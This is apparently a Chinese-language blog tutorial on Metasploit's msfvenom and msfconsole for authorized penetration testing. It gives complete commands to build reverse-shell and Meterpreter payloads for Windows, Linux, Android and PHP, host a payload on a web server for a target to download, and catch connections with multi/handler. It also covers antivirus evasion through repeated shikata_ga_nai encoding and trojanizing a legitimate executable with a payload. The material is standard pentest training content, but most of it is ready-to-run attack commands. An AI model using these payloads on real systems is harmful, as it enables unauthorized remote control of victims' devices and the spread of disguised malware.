MSF工具渗透工具

完整的MSF工具使用指南,包括MSFvenom核心命令、载荷生成、编码混淆、监听器配置等内容,适用于Kali Linux环境下的授权渗透测试。

⚠️ 重要安全提醒

  1. 所有操作必须在合法授权环境中进行(个人靶机、企业授权测试、CTF 实验室、攻防演练)。
  2. 严禁未经授权对他人设备、服务器、网络实施攻击,否则将承担法律责任。
  3. 本文仅用于网络安全学习与渗透测试技术研究,禁止用于非法用途。

1.生成exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.130 LPORT=8080 -f exe -o test.exe
生成exe
图注:生成exe

2.将exe放到web中

service apache2 start
cp test.exe /var/www/html
放到web中
图注:放到web中

3.攻击机开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.19.130
set LPORT 8080
exploit
开启监听
图注:开启监听

4.靶机下载文件

http://192.168.19.130/test.html
下载文件
图注:下载文件

下载并运行,攻击机获得回弹meterpreter,取得shell

成功连接
图注:成功连接

Msfvenom工具

本文整理了 msfvenom 核心命令、载荷生成、高级免杀技巧、监听器配置及安全提醒,适用于 Kali Linux 环境下授权渗透测试、靶机练习、CTF 竞赛使用。

一、基础帮助与列表查询

msfvenom 是 Metasploit 框架的载荷生成工具,基础查询命令可快速获取可用参数、载荷、编码器等信息:

# 查看所有可用选项与参数说明
msfvenom -h
# 列出所有可用攻击载荷(Payloads)
msfvenom -l payloads
# 列出所有可用编码器(用于免杀混淆)
msfvenom -l encoders
# 列出所有支持的输出文件格式
msfvenom -l formats

二、核心命令结构(载荷生成)

标准生成语法,所有定制化载荷均基于此结构修改:

msfvenom -p <payload> LHOST=<IP地址> LPORT=<端口> -f <格式> -o <输出文件>
  • -p:指定使用的攻击载荷
  • LHOST:攻击者本机 IP (靶机需能访问该 IP)
  • LPORT:监听端口 (需与监听器端口一致)
  • -f:指定输出文件格式 (exe/elf/apk 等)
  • -o:指定生成文件的保存名称

三、常用载荷生成示例

1. Windows 系统载荷

Windows 反弹 Shell (EXE 格式)

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o reverse_shell.exe

Windows Meterpreter 反弹 Shell (功能最全面)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o meterpreter.exe

2. Linux 系统载荷

# Linux x86 反弹 Shell (ELF 格式)
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o reverse_shell.elf

3. 移动设备载荷

Android 后门 APK (Meterpreter)

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f apk -o shell.apk

4. Web 服务载荷

PHP 一句话后门 (Meterpreter)

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php

还可扩展生成 ASP、JSP 格式,适配不同 Web 容器

四、高级免杀技巧(提升隐蔽性)

1. 编码混淆(最常用)

通过编码器对载荷加密,绕过基础杀毒软件:

# 使用 shikata_ga_nai 编码器,迭代 10 次混淆
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe
  • -e:指定编码器
  • -i:设置编码迭代次数(次数越高免杀效果越好)

2. 规避坏字符

排除导致载荷执行失败的特殊字符(如空字符、换行符):

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0d\x0a' -f exe -o clean.exe
  • -b:指定需要排除的坏字符

3. 模板注入(伪装成合法程序)

将恶意载荷注入正常 exe 文件,保留原程序功能,伪装成正常软件:

msfvenom -x /path/to/legitimate.exe -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o trojan.exe
  • -x:指定合法程序模板
  • -k:保留模板程序原有功能

4. 多格式适配

根据场景生成 .dll.vba.ps1 等格式,适配不同注入场景。

五、启动监听器接收反弹连接

生成载荷后,在 Kali 中启动 msfconsole 监听,等待靶机上线:

1. 启动 Metasploit 控制台

msfconsole

2. 加载监听模块

use exploit/multi/handler

3. 关键:载荷必须与生成时完全一致

set payload windows/meterpreter/reverse_tcp

4. 配置监听 IP 和端口(与生成载荷参数一致)

set LHOST 192.168.1.100
set LPORT 4444

5. 启动监听(-j 表示后台运行)

exploit -j

总结

  1. 基础查询用 -h/-l,核心生成用 -p LHOST LPORT -f -o 固定结构;
  2. 常用载荷适配 Windows/Linux/Android/Web 多场景,Meterpreter 功能最全面;
  3. 编码、坏字符规避、模板注入是核心免杀手段;
  4. 监听器参数必须与生成载荷完全一致,且仅可用于授权环境。
文章评论